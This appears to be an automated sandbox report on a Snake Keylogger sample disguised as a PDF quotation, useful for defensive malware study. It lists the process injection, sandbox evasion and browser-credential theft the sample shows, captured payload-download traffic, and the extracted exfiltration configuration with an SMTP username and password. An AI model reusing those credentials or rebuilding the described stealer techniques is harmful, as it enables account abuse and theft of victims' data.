Edit tour

Windows Analysis Report
QUOTATION_NOVQTRA071244PDF.scr.exe

Overview

General Information

Sample name:	QUOTATION_NOVQTRA071244PDF.scr.exe
Analysis ID:	1559133
MD5:	5287698c5838c217c8330670920d1f22
SHA1:	61d94cd397d56e87a13207f680f88fdf829eef71
SHA256:	852c78744e828250542bb9ddf2d7f2797c5613d2ab69cbd0faff944469d2c03b
Tags:	exescruser-abuse_ch
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Creates a thread in another existing process (thread injection)

Initial sample is a PE file and has a suspicious name

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: AspNetCompiler Execution

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

QUOTATION_NOVQTRA071244PDF.scr.exe (PID: 7268 cmdline: "C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe" MD5: 5287698C5838C217C8330670920D1F22)

aspnet_compiler.exe (PID: 7792 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" MD5: DF5419B32657D2896514B6A1D041FE08)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "abbsend@qlststv.com", "Password": "G!!HFpD@N*]*nF", "Host": "gator3220.hostgator.com", "Port": "587", "Version": "5.1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2961287104.0000019050ECE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2959415202.000001904EEC0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21508:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x24a3e:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000002.2214752450.0000022880090000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2215561209.00000228E70FA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1ff0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x5526:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1b483:$a1: get_encryptedPassword 0x1b767:$a2: get_encryptedUsername 0x1b28f:$a3: get_timePasswordChanged 0x1b38a:$a4: get_passwordField 0x1b499:$a5: set_encryptedPassword 0x1ca6e:$a7: get_logins 0x1c9d1:$a10: KeyLoggerEventArgs 0x1c66a:$a11: KeyLoggerEventArgsEventHandler
00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1ed54:$x1: $%SMTPDV$ 0x1edba:$x2: $#TheHashHere%& 0x20397:$x3: %FTPDV$ 0x20481:$x4: $%TelegramDv$ 0x1c66a:$x5: KeyLoggerEventArgs 0x1c9d1:$x5: KeyLoggerEventArgs 0x203bb:$m2: Clipboard Logs ID 0x205d1:$m2: Screenshot Logs ID 0x206e1:$m2: keystroke Logs ID 0x209bb:$m3: SnakePW 0x205a9:$m4: \SnakeKeylogger\
00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1439b:$a1: get_encryptedPassword 0x1467f:$a2: get_encryptedUsername 0x141a7:$a3: get_timePasswordChanged 0x142a2:$a4: get_passwordField 0x143b1:$a5: set_encryptedPassword 0x15986:$a7: get_logins 0x158e9:$a10: KeyLoggerEventArgs 0x15582:$a11: KeyLoggerEventArgsEventHandler
00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bc95:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1aec7:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b2fa:$a4: \Orbitum\User Data\Default\Login Data 0x1c339:$a5: \Kometa\User Data\Default\Login Data
00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14f1a:$s1: UnHook 0x14f21:$s2: SetHook 0x14f29:$s3: CallNextHook 0x14f36:$s4: _hook
00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17c6c:$x1: $%SMTPDV$ 0x17cd2:$x2: $#TheHashHere%& 0x192af:$x3: %FTPDV$ 0x19399:$x4: $%TelegramDv$ 0x15582:$x5: KeyLoggerEventArgs 0x158e9:$x5: KeyLoggerEventArgs 0x192d3:$m2: Clipboard Logs ID 0x194e9:$m2: Screenshot Logs ID 0x195f9:$m2: keystroke Logs ID 0x198d3:$m3: SnakePW 0x194c1:$m4: \SnakeKeylogger\
00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x220f0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x25626:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: QUOTATION_NOVQTRA071244PDF.scr.exe PID: 7268	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 7792	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 7792	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12dd:$a1: get_encryptedPassword 0x4d414:$a1: get_encryptedPassword 0x15b7:$a2: get_encryptedUsername 0x4d6ee:$a2: get_encryptedUsername 0x10f3:$a3: get_timePasswordChanged 0x4d22a:$a3: get_timePasswordChanged 0x11ee:$a4: get_passwordField 0x4d325:$a4: get_passwordField 0x12f3:$a5: set_encryptedPassword 0x4d42a:$a5: set_encryptedPassword 0x36e0:$a7: get_logins 0x4f817:$a7: get_logins 0x3643:$a10: KeyLoggerEventArgs 0x4f77a:$a10: KeyLoggerEventArgs 0x32dc:$a11: KeyLoggerEventArgsEventHandler 0x4f413:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: aspnet_compiler.exe PID: 7792	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x32dc:$x5: KeyLoggerEventArgs 0x3643:$x5: KeyLoggerEventArgs 0x3f31:$x5: KeyLoggerEventArgs 0x4265:$x5: KeyLoggerEventArgs 0x4f413:$x5: KeyLoggerEventArgs 0x4f77a:$x5: KeyLoggerEventArgs 0x50068:$x5: KeyLoggerEventArgs 0x5039c:$x5: KeyLoggerEventArgs 0x5806:$m2: Clipboard Logs ID 0x58f8:$m2: Screenshot Logs ID 0x594e:$m2: keystroke Logs ID 0x5193d:$m2: Clipboard Logs ID 0x51a2f:$m2: Screenshot Logs ID 0x51a85:$m2: keystroke Logs ID 0x5a83:$m3: SnakePW 0x51bba:$m3: SnakePW 0x58e4:$m4: \SnakeKeylogger\ 0x51a1b:$m4: \SnakeKeylogger\
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880090000.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.aspnet_compiler.exe.19060c900e8.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
4.2.aspnet_compiler.exe.19060c900e8.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1259b:$a1: get_encryptedPassword 0x1287f:$a2: get_encryptedUsername 0x123a7:$a3: get_timePasswordChanged 0x124a2:$a4: get_passwordField 0x125b1:$a5: set_encryptedPassword 0x13b86:$a7: get_logins 0x13ae9:$a10: KeyLoggerEventArgs 0x13782:$a11: KeyLoggerEventArgsEventHandler
4.2.aspnet_compiler.exe.19060c900e8.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19e95:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x190c7:$a3: \Google\Chrome\User Data\Default\Login Data 0x194fa:$a4: \Orbitum\User Data\Default\Login Data 0x1a539:$a5: \Kometa\User Data\Default\Login Data
4.2.aspnet_compiler.exe.19060c900e8.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1311a:$s1: UnHook 0x13121:$s2: SetHook 0x13129:$s3: CallNextHook 0x13136:$s4: _hook
4.2.aspnet_compiler.exe.19060c900e8.1.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x15e6c:$x1: $%SMTPDV$ 0x15ed2:$x2: $#TheHashHere%& 0x174af:$x3: %FTPDV$ 0x17599:$x4: $%TelegramDv$ 0x13782:$x5: KeyLoggerEventArgs 0x13ae9:$x5: KeyLoggerEventArgs 0x174d3:$m2: Clipboard Logs ID 0x176e9:$m2: Screenshot Logs ID 0x177f9:$m2: keystroke Logs ID 0x17ad3:$m3: SnakePW 0x176c1:$m4: \SnakeKeylogger\
4.2.aspnet_compiler.exe.19050ae0000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
4.2.aspnet_compiler.exe.19050ae0000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1259b:$a1: get_encryptedPassword 0x1287f:$a2: get_encryptedUsername 0x123a7:$a3: get_timePasswordChanged 0x124a2:$a4: get_passwordField 0x125b1:$a5: set_encryptedPassword 0x13b86:$a7: get_logins 0x13ae9:$a10: KeyLoggerEventArgs 0x13782:$a11: KeyLoggerEventArgsEventHandler
4.2.aspnet_compiler.exe.19050ae0000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x19e95:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x190c7:$a3: \Google\Chrome\User Data\Default\Login Data 0x194fa:$a4: \Orbitum\User Data\Default\Login Data 0x1a539:$a5: \Kometa\User Data\Default\Login Data
4.2.aspnet_compiler.exe.19050ae0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1311a:$s1: UnHook 0x13121:$s2: SetHook 0x13129:$s3: CallNextHook 0x13136:$s4: _hook
4.2.aspnet_compiler.exe.19050ae0000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x15e6c:$x1: $%SMTPDV$ 0x15ed2:$x2: $#TheHashHere%& 0x174af:$x3: %FTPDV$ 0x17599:$x4: $%TelegramDv$ 0x13782:$x5: KeyLoggerEventArgs 0x13ae9:$x5: KeyLoggerEventArgs 0x174d3:$m2: Clipboard Logs ID 0x176e9:$m2: Screenshot Logs ID 0x177f9:$m2: keystroke Logs ID 0x17ad3:$m3: SnakePW 0x176c1:$m4: \SnakeKeylogger\
4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1439b:$a1: get_encryptedPassword 0x1467f:$a2: get_encryptedUsername 0x141a7:$a3: get_timePasswordChanged 0x142a2:$a4: get_passwordField 0x143b1:$a5: set_encryptedPassword 0x15986:$a7: get_logins 0x158e9:$a10: KeyLoggerEventArgs 0x15582:$a11: KeyLoggerEventArgsEventHandler
4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bc95:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1aec7:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b2fa:$a4: \Orbitum\User Data\Default\Login Data 0x1c339:$a5: \Kometa\User Data\Default\Login Data
4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14f1a:$s1: UnHook 0x14f21:$s2: SetHook 0x14f29:$s3: CallNextHook 0x14f36:$s4: _hook
4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17c6c:$x1: $%SMTPDV$ 0x17cd2:$x2: $#TheHashHere%& 0x192af:$x3: %FTPDV$ 0x19399:$x4: $%TelegramDv$ 0x15582:$x5: KeyLoggerEventArgs 0x158e9:$x5: KeyLoggerEventArgs 0x192d3:$m2: Clipboard Logs ID 0x194e9:$m2: Screenshot Logs ID 0x195f9:$m2: keystroke Logs ID 0x198d3:$m3: SnakePW 0x194c1:$m4: \SnakeKeylogger\
0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6e3e8f0.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1439b:$a1: get_encryptedPassword 0x1467f:$a2: get_encryptedUsername 0x141a7:$a3: get_timePasswordChanged 0x142a2:$a4: get_passwordField 0x143b1:$a5: set_encryptedPassword 0x15986:$a7: get_logins 0x158e9:$a10: KeyLoggerEventArgs 0x15582:$a11: KeyLoggerEventArgsEventHandler
4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1bc95:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1aec7:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b2fa:$a4: \Orbitum\User Data\Default\Login Data 0x1c339:$a5: \Kometa\User Data\Default\Login Data
4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14f1a:$s1: UnHook 0x14f21:$s2: SetHook 0x14f29:$s3: CallNextHook 0x14f36:$s4: _hook
4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17c6c:$x1: $%SMTPDV$ 0x17cd2:$x2: $#TheHashHere%& 0x192af:$x3: %FTPDV$ 0x19399:$x4: $%TelegramDv$ 0x15582:$x5: KeyLoggerEventArgs 0x158e9:$x5: KeyLoggerEventArgs 0x192d3:$m2: Clipboard Logs ID 0x194e9:$m2: Screenshot Logs ID 0x195f9:$m2: keystroke Logs ID 0x198d3:$m3: SnakePW 0x194c1:$m4: \SnakeKeylogger\
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe", ParentImage: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe, ParentProcessId: 7268, ParentProcessName: QUOTATION_NOVQTRA071244PDF.scr.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe", ProcessId: 7792, ProcessName: aspnet_compiler.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:19:02.546000+0100	2803305	3	Unknown Traffic	192.168.2.4	49741	188.114.97.3	443	TCP
2024-11-20T08:19:03.803744+0100	2803305	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:19:00.694601+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-20T08:19:01.944617+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.6.168	80	TCP
2024-11-20T08:19:03.257175+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49742	193.122.6.168	80	TCP
2024-11-20T08:19:04.632112+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49745	193.122.6.168	80	TCP
2024-11-20T08:19:05.913370+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49758	193.122.6.168	80	TCP
2024-11-20T08:19:07.194701+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49765	193.122.6.168	80	TCP
2024-11-20T08:19:08.444614+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49775	193.122.6.168	80	TCP
2024-11-20T08:19:09.913364+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49781	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "abbsend@qlststv.com", "Password": "G!!HFpD@N*]*nF", "Host": "gator3220.hostgator.com", "Port": "587", "Version": "5.1"}

Multi AV Scanner detection for submitted file

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E7016000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C31000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214866648.0000022880380000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E7016000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C31000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214866648.0000022880380000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4x nop then jmp 00007FFD9B96A235h	4_2_00007FFD9B969E4D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4x nop then jmp 00007FFD9B969C1Bh	4_2_00007FFD9B9699B0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4x nop then jmp 00007FFD9B967470h	4_2_00007FFD9B967419
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4x nop then jmp 00007FFD9B96A235h	4_2_00007FFD9B96A151

Source: global traffic	HTTP traffic detected: GET /data-package/I7fmQg9d/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/ndvzPJWaMUSB HTTP/1.1Host: s24.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/I7fmQg9d/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49745 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49758 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49742 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49781 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49765 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49775 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
